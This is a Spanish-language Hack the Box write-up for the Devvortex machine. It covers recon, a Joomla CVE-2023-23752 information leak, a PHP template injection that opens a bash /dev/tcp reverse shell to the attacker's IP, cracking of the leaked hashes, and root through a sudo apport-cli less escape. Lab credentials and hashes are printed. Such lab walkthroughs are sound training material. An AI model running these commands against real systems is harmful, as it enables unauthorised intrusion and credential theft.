Page cover

๐ŸŸขDevvortex

En esta ocasiรณn vamos a hacer el writeup de la mรกquina Devvortex de Hack the Box, una mรกquina Linux de dificultad easy.

Primer acceso

Accedemos a la IP 10.10.11.242 a travรฉs del navegador. Aรฑadimos devvortex.htb a nuestro archivo etc/hosts y ya nos aparece:

A priori parece una web de una compaรฑรญa de desarrollo web.

Escaneo con Nmap

sudo nmap -v -sS -sV 10.10.11.242
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)

Solo tiene abiertos los 2 puertos tรญpicos, ssh y http, en principio nada interesante.

Fuzzing

Al fuzzear con dirsearch nos encontramos varios directorios, pero que al acceder nos dan un forbidden:

dirsearch -u devvortex.htb -x 403,404
 
  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/reports/_devvortex.htb/_23-11-28_00-26-53.txt

Target: http://devvortex.htb/

[00:26:54] Starting: 
[00:26:55] 301 -  178B  - /js  ->  http://devvortex.htb/js/
[00:27:11] 200 -    7KB - /about.html
[00:27:37] 200 -    9KB - /contact.html
[00:27:39] 301 -  178B  - /css  ->  http://devvortex.htb/css/
[00:27:50] 301 -  178B  - /images  ->  http://devvortex.htb/images/

Bueno, parece un callejรณn sin salida. En esta etapa, podrรญan venir a la mente tres posibilidades:

  1. No hay nada explotable en el sitio web principal

  2. No hay directorios ni archivos ocultos interesantes

  3. Estamos en un punto muerto

Utilizando Gobuster, tenemos la opciรณn de encontrar vhosts o pantallas de desarrollo o en pre-producciรณn, por lo que vamos a utilizar el siguiente comando:

gobuster vhost -u devvortex.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

Encontramos el subdominio dev.devvortex.htb, lo que aumenta nuestra superficie de ataque.

Ejecutando dirsearch de nuevo contra este subdominio nos encontramos cosas interesantes:

Encontramos pantallas de administrador y logs, lo que nos puede ayudar a encontrar usuarios y/o credenciales, y archivos de configuraciรณn del sitio web.

Al acceder a /administrator nos salta un login de Joomla:

Si ejecutamos Joomscan nos encontramos con que usa la versiรณn 4.2.6, por lo que buscaremos un exploit para esta versiรณn:

Exploit

Buscando un exploit para esta versiรณn de Joomla nos encontramos con este exploit en Github, con el CVE-2023-23752 asociado:

Seguimos las instrucciones de instalaciรณn del repo y lo ejecutamos de la siguiente manera:

# Instalaciรณn
git clone https://github.com/Acceis/exploit-CVE-2023-23752.git
cd exploit-CVE-2023-23752.git
gem install httpx docopt paint

# Ejecutamos el exploit
sudo ruby exploit.rb http://dev.devvortex.htb

El exploit funciona y descubrimos dos usuarios, uno de ellos administrador, y el acceso a una base de datos MySql con usuario y contraseรฑa:

โฏ sudo ruby exploit.rb http://dev.devvortex.htb 

Users
[649] lewis (lewis) - lewis@devvortex.htb - Super Users
[650] logan paul (logan) - logan@devvortex.htb - Registered

Site info
Site name: Development
Editor: tinymce
Captcha: 0
Access: 1
Debug status: false

Database info
DB type: mysqli
DB host: localhost
DB user: lewis
DB password: P4ntherg0t1n5r3c0n##
DB name: joomla
DB prefix: sd4fg_
DB encryption 0

A la base de datos solo nos podemos conectar por localhost, por lo que necesitamos estar dentro para acceder. Al intentar conectarnos por SSH con las credenciales no funcionan, asรญ que vamos a loguearnos en el panel de Joomla con la cuenta de administrador:

Usuario:  lewis
Password: P4ntherg0t1n5r3c0n##

Nuestro objetivo aquรญ es encontrar una pรกgina para aรฑadir cรณdigo y establecer una reverse shell con la mรกquina, por lo que vamos a ir a System > Administrator templates

Como podemos ver, hay varios cรณdigos PHP ejecutรกndose dentro de nuestra plantilla. Abrimos login.php e inyectamos nuestro cรณdigo para ejecutar un comando bash y luego guardemos los cambios.

Reverse Shell
bash -i >& /dev/tcp/10.10.14.46/4444 0>&1
# Pegamos esto
system('bash -c "bash -i >& /dev/tcp/10.10.14.46/4444 0>&1"');

Abrimos un netcat listener y accedemos a http://dev.devvortex.htb/administrator/templates/atum/login.php y obtenemos la reverse shell:

Accedemos a /etc/passwd y vemos que logan puede ejecutar comandos desde /home/logan

Vamos a importar pty con python y a acceder a la base de datos MySql con las credenciales que descubrimos anteriormente:

Mirando las tablas de la base de datos nos encontramos con la tabla sd4fg_users que es la que contiene informaciรณn de los usuarios y su contraseรฑa en formato de hash.

Al acceder a esa tabla efectivamente encontramos los 2 hashes de los usuarios lewis y logan.

Ahora vamos a crackearlos. Nos interesa sobre todo crackear el hash de Logan, ya que es el usuario que tiene permisos para ejecutar comandos.

lewis: $2y$10$6V52x.SD8Xc7hNlVwUTrI.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u
logan: $2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12

Ya tenemos usuario y contraseรฑa para acceder por SSH:

Usuario:   logan
Password:  tequieromucho

Accedemos correctamente y obtenemos el user.txt ๐Ÿ†

Escalada de Privilegios

Con sudo -l vemos los permisos que tiene Logan en el sistema:

Vamos a ejecutar el siguiente comando y le decimos 'V' cuando nos de la opciรณn de elegir:

sudo /usr/bin/apport-cli -c test.log less

En este punto solo tenemos que ejecutar el siguiente comando para volvernos root:

!/bin/bash

Y ya somos root!

รšltima actualizaciรณn

ยฟTe fue รบtil?